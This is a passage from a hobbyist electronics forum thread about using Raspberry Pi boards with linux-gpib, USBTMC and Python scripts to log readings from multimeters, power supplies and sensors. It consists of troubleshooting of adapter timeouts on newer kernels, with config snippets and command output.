Apparently in in f2fs-tools_1.7.0-1_amd64 for Ubuntu there is a resize.f2fs command. Sadly that's not available in the Ubuntu Mate for RPI, the f2fs-tools is only ver 1.6 there.
I'll try to install Ubuntu in a VM and check it...
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #155 on: December 20, 2016, 01:08:34 pm »
F2FS v1.7 source could be compiled on the raspberry pi.   

Dwaine
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #156 on: December 20, 2016, 04:13:17 pm »

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

@Plesa

Dave has ordered a v3

And i am currently testing w. a powered usb-hub , as per Daves request - Same result.

I have been testing w. Agilent & Beiming , and sent v3 (bad) debug output to him.

Now i'm building w. debug on my v1 (Wheezy) , to send debug (good) to him

/Bingo
 

Offline FrankBuss

  • Supporter
  • ****
  • Posts: 2365
  • Country: de
    • Frank Buss
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #157 on: December 21, 2016, 12:18:57 am »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
So Long, and Thanks for All the Fish
Electronics, hiking, retro-computing, electronic music etc.: https://www.youtube.com/c/FrankBussProgrammer
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 676
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #158 on: December 21, 2016, 01:03:34 am »
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
No, I read this in some unofficial forum. I have last firmware installed and this is fair old version. I think funds for fixing bugs are longer finished.

Anyway with this workaround it works great. I'm running days and days without a single problem.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #159 on: December 21, 2016, 07:17:03 pm »
Just noticed that the "Jessie" has the raspbian.org kernels in there

I did a 
Code: [Select]
sudo apt-get install linux-image-rpi2-rpfv
Added to end of /boot/config.txt
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
#kernel=vmlinuz-3.18.0-trunk-rpi
#initramfs initrd.img-3.18.0-trunk-rpi followkernel
#
kernel=vmlinuz-4.4.0-1-rpi2
initramfs initrd.img-4.4.0-1-rpi2 followkernel
#

Code: [Select]
reboot
And
Code: [Select]
sudo apt-get install linux-headers-rpi2-rpfv

Rebuilt linux-gpib , and tested wo. any luck

Still err 14  :'( :'(

Edit: Corrected the followkernel

This was done on a Raspi v3 , and boots ok

/Bingo
« Last Edit: December 23, 2016, 07:17:51 am by bingo600 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #160 on: December 21, 2016, 10:52:28 pm »
I have the Bosh BMP085 python and web html finished.   Another sensor people can use.....  FrankBuss, I'll submit a pull request later on....

http://99.232.17.239/BMP085_Logs.html
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #161 on: December 27, 2016, 01:43:05 pm »
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #162 on: December 27, 2016, 03:00:17 pm »
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.

Hi TiN,

thanks for feedback. Issue related to to 82357B is known with current kernel 4.4.36 (38)  and has been also found on 4.9 on Raspbian.
Currently are working only HI GPIB USB HS/NI GPIB USB B adapters and also the E5810A/E5810B.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #163 on: December 30, 2016, 12:14:14 am »
During testing encoutered issues with RPi3 and genuine NI-GPIB HS adapter, after 30min-3h there is timeout on bus. Redo gpib_config not help and disconnecting NI GPIB HS adapter is needed.
TiN reported similar issue.
Strange is that RPI2 can work on same testsetup for multiple weeks. On setup is more than 60% of instruments on ( recommendation for GPIB is >50%)
dmesg reports following:
Code: [Select]
[10622.506326] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10623.506303] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout
[10623.506336] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_line_status: ni_usb_send_bulk_msg returned -110, bytes_written=0, i=8
[10624.506337] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10625.506351] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout

Also ordered 3.5" LCD for displaying data ( BME280, DS18S20) and actual readout from instruments.
« Last Edit: December 30, 2016, 01:14:18 am by plesa »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #164 on: December 30, 2016, 02:44:38 am »
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #165 on: December 30, 2016, 03:14:37 am »
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.

What GPIB adapter you used for USB and what for LAN?
Which kernel or image you used, the LogNutv2 or official Raspbian? Can you post the dmesg output?
It should not be related to CPU usage, RPi2 is is 900Mhz and RPi3 is 1.2GHz.

I prepared another new RPi3 for test, also the E5810 will be tested.
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #166 on: December 30, 2016, 03:33:15 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3. 
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #167 on: December 30, 2016, 03:41:57 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #168 on: December 30, 2016, 09:03:22 am »
Dave P is asking for the .config output from a working setup (Wheezy)
EDIT: It's the kernel config
See
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1102438/#msg1102438



I'm not home for the next days, and my working Raspi v1 - with Wheezy is not online.

Does anyone have (or can build) a Raspi v1 or v2, with linux gpib working on an Agilent/Beiming adapter (Old wheezy kernel)

Build instructions
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160

/Bingo
« Last Edit: December 30, 2016, 12:16:19 pm by bingo600 »
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
  • Country: ca
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #169 on: December 30, 2016, 09:28:48 am »
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?

Rigol DM3068
Keysight U1272a
BMP085 Sensor

Maybe since I was logging all three devices with 1 second updates, I ran out of memory as the CSV files grew.  So far now, I'm running all three devices with a read every 5 seconds.  Been running over a day now.

I actually have the second display working and plotting for the Keysight U1272a. 
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #170 on: December 30, 2016, 11:14:22 am »
I'll try to find my Pi1 and get wheezy up to get file/dumps.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #171 on: December 30, 2016, 12:14:02 pm »
I'll try to find my Pi1 and get wheezy up to get file/dumps.

Thanx TiN

I think i misunderstood Dave.

He asks for
Quote
The .config file from rom the kernel source directory.
AFAICT the USB is not part of the device tree - which is why I want to check the kernel config between Jessie and wheezie.

I suppose the .config might be included in the "header files"

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #172 on: December 31, 2016, 01:21:22 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

« Last Edit: December 31, 2016, 01:28:42 am by BFX »
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #173 on: December 31, 2016, 01:33:24 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html
 
The following users thanked this post: Dwaine

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #174 on: December 31, 2016, 06:27:04 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #175 on: December 31, 2016, 07:57:34 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #176 on: December 31, 2016, 09:14:13 am »
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

You do not have firmware in device loaded. With loaded FW PID will be not 518 but 718. But anyway, this interface is not currently working. You needs to use USBTMC, VXI
 or another proven adapters like NI GPIB USB HS, NI GPIB USB B, E5810 A/B.
« Last Edit: December 31, 2016, 09:19:27 am by plesa »
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #177 on: December 31, 2016, 10:50:54 am »

thx for hints :-+
there is no gpib in dev

As Plesa says , you need to load the firmware twice.

And have you loaded the kernel module module ?

You should see this

Quote
If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

If not , what does : sudo modprobe agilent_82357a           say ?

Does the lsmod show the module loaded after this ??

/Bingo
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #178 on: December 31, 2016, 12:25:19 pm »
Thank you guys  8)
@plesa : are you sure that this doesn't work at all? I have original one.

After loading firmware twice I got gpib0-15 in dev.
And on the adapter Access and Ready lights to green, but also Fail led is on (red). See pictures.

Code: [Select]
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

result of lsmod



« Last Edit: December 31, 2016, 12:27:29 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #179 on: December 31, 2016, 12:27:18 pm »
What lsusb and modprobe results? :)
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #180 on: December 31, 2016, 12:28:28 pm »
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Code: [Select]
pi@raspberrypi:~ $ modprobe agilent_82357a
pi@raspberrypi:~ $ lsmod
Module                  Size  Used by
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
bnep                   10340  2
8192cu                560049  0
cfg80211              427855  1 8192cu
btusb                  27628  0
btrtl                   3667  1 btusb
btintel                 6167  1 btusb
btbcm                   5929  1 btusb
bluetooth             326105  24 bnep,btbcm,btrtl,btusb,btintel
rfkill                 16037  4 cfg80211,bluetooth
evdev                  11396  2
joydev                  9024  0
snd_bcm2835            20447  1
snd_pcm                75762  1 snd_bcm2835
snd_timer              19288  1 snd_pcm
snd                    51908  5 snd_bcm2835,snd_timer,snd_pcm
bcm2835_gpiomem         3040  0
i2c_bcm2708             4834  0
bcm2835_wdt             3225  0
rpi_ft5406              3986  0
rpi_backlight           2064  0
uio_pdrv_genirq         3164  0
uio                     8000  1 uio_pdrv_genirq
i2c_dev                 5859  0
fuse                   84037  3
ipv6                  347594  56
pi@raspberrypi:~ $

« Last Edit: December 31, 2016, 12:32:19 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #181 on: December 31, 2016, 12:32:30 pm »
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #182 on: December 31, 2016, 12:35:20 pm »
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
Once again, this adapter is not working with Linux-GPIB and recent kernels 4.4 -4.9.Does not matter if it is clone or genuine ( I have Keysight genuine version and clone)
When solution will be ready Bingo600 or me will inform in this thread.
Maybe you can be successful with Arduino adapter.
« Last Edit: December 31, 2016, 12:37:20 pm by plesa »
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #183 on: December 31, 2016, 12:41:43 pm »
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
No :) but there is no section for agilent_82357a
Have you an example?
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #184 on: December 31, 2016, 12:46:09 pm »
I heard these guys at xDevs have a guide. But listed procedure there works only on Pi with kernels 3.8.xx
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 
The following users thanked this post: CalMachine

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #185 on: December 31, 2016, 12:50:51 pm »
I heard these guys at xDevs have a guide. But listed procedure there works only on Pi with kernels 3.8.xx
@TiN
 ;) Promoting


Re Error:
If the read light are on , you either missed some of the firmware stuff , or you haven't run gpib_config after loading the fw.
Or maybe have an invalid (unadapted) /etc/gpib.conf file.
See
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg964579/#msg964579


My guess - gpib_config or gpib.conf  related.

Do you have the /dev/gpib* devices now ??
Make sure to chmod 666 them , or as a test run as root


/Bingo
« Last Edit: December 31, 2016, 12:57:20 pm by bingo600 »
 
The following users thanked this post: CalMachine

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #186 on: December 31, 2016, 12:56:29 pm »
Ok I update gpib.conf and run and red light is gone  8)

Code: [Select]
pi@raspberrypi:~ $ sudo nano /etc/gpib.conf
pi@raspberrypi:~ $ sudo gpib_config
pi@raspberrypi:~ $


Now only ready is green  :-+

I tried to run some test but  failed :(
Code: [Select]
Traceback (most recent call last):
  File "/pub/python/Test_GPIB.py", line 5, in <module>
    instr.write("*IDN?")
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 49, in write
    gpib.write(self.id, str)
GpibError: write() failed: An attempt to write command bytes to the bus has timed out.

Should be that my 34401A is not configured properly?
Address is OK. And after test 34401 is frozen only some underscores are in place of digits.


« Last Edit: December 31, 2016, 01:12:03 pm by BFX »
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #187 on: December 31, 2016, 01:41:13 pm »
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #188 on: December 31, 2016, 01:54:52 pm »
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.

Thank you for words of encouragement :D
Do you know roughly where is the problem? Is it only for 34401 or it's common problem of 82357a?

 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4543
  • Country: ua
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #189 on: December 31, 2016, 01:57:44 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.
YouTube | Metrology IRC Chat room | Let's share T&M documentation? Upload! No upload limits for firmwares, photos, files.
 

Offline BFX

  • Frequent Contributor
  • **
  • Posts: 376
  • Country: sk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #190 on: December 31, 2016, 02:21:20 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:
 

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1976
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #191 on: December 31, 2016, 02:47:45 pm »
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:

Note that kernel 3.8 (Wheezy) won't work on a RasPI v3 , you need a v1 or v2

We're  working with the linux-gpib maintainer to find the problem on the 4.x.x kernels (Jessie)

/Bingo
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #192 on: December 31, 2016, 06:01:03 pm »
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?
« Last Edit: December 31, 2016, 06:15:06 pm by CalMachine »
All your volts are belong to me
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #193 on: December 31, 2016, 06:54:50 pm »
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?

It is easy. 82357B is not working and image is set for NI GPIB HS. On image is /pub directory shared over samba (you can connect as network drive from another machine and edit webpage and scripts).
There is running webserver, so just check in you browser ( webserver use the /pub/www directory ). There are few basic scripts for test and also for logging (3458A,K2001,3441xA, 34401A and for enviromet BME_log.py).
All these scripts  log are plotted on website.
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #194 on: December 31, 2016, 07:00:50 pm »
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.
VE7FM
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #195 on: December 31, 2016, 10:41:49 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
All your volts are belong to me
 

Offline VintageNut

  • Frequent Contributor
  • **
  • Posts: 534
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #196 on: December 31, 2016, 11:32:50 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?
working instruments :Keithley 260,261,2750,7708, 2000 (calibrated), 2015, 236, 237, 238, 147, 220,  Rigol DG1032  PAR Model 128 Lock-In amplifier, Fluke 332A, Gen Res 4107 KVD, 4107D KVD, Fluke 731B X2 (calibrated), Fluke 5450A (calibrated)
 

Offline plesaTopic starter

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #197 on: December 31, 2016, 11:36:28 pm »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.
 

Offline CalMachine

  • Frequent Contributor
  • **
  • Posts: 477
  • Country: us
  • Metrology Nut
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #198 on: January 01, 2017, 12:06:44 am »
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.

Was finally able to execute the scripts in the IDLE and I don't think that is what I was looking for.  Moving on.. lol.  So, I just accessed the webserver and am looking at the real time data log tests.  This data I'm looking at can't be mine right?  I haven't initiated any logs yet.


I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?

I am not sure.  I was just trying to run the provided script in the Python IDLE.




*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.
« Last Edit: January 01, 2017, 12:34:00 am by CalMachine »
All your volts are belong to me
 

Offline TheSteve

  • Supporter
  • ****
  • Posts: 3742
  • Country: ca
  • Living the Dream
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #199 on: January 01, 2017, 01:06:37 am »
*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.

When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
VE7FM
 

Offline Dwaine

  • Frequent Contributor
  • **
  • Posts: 299
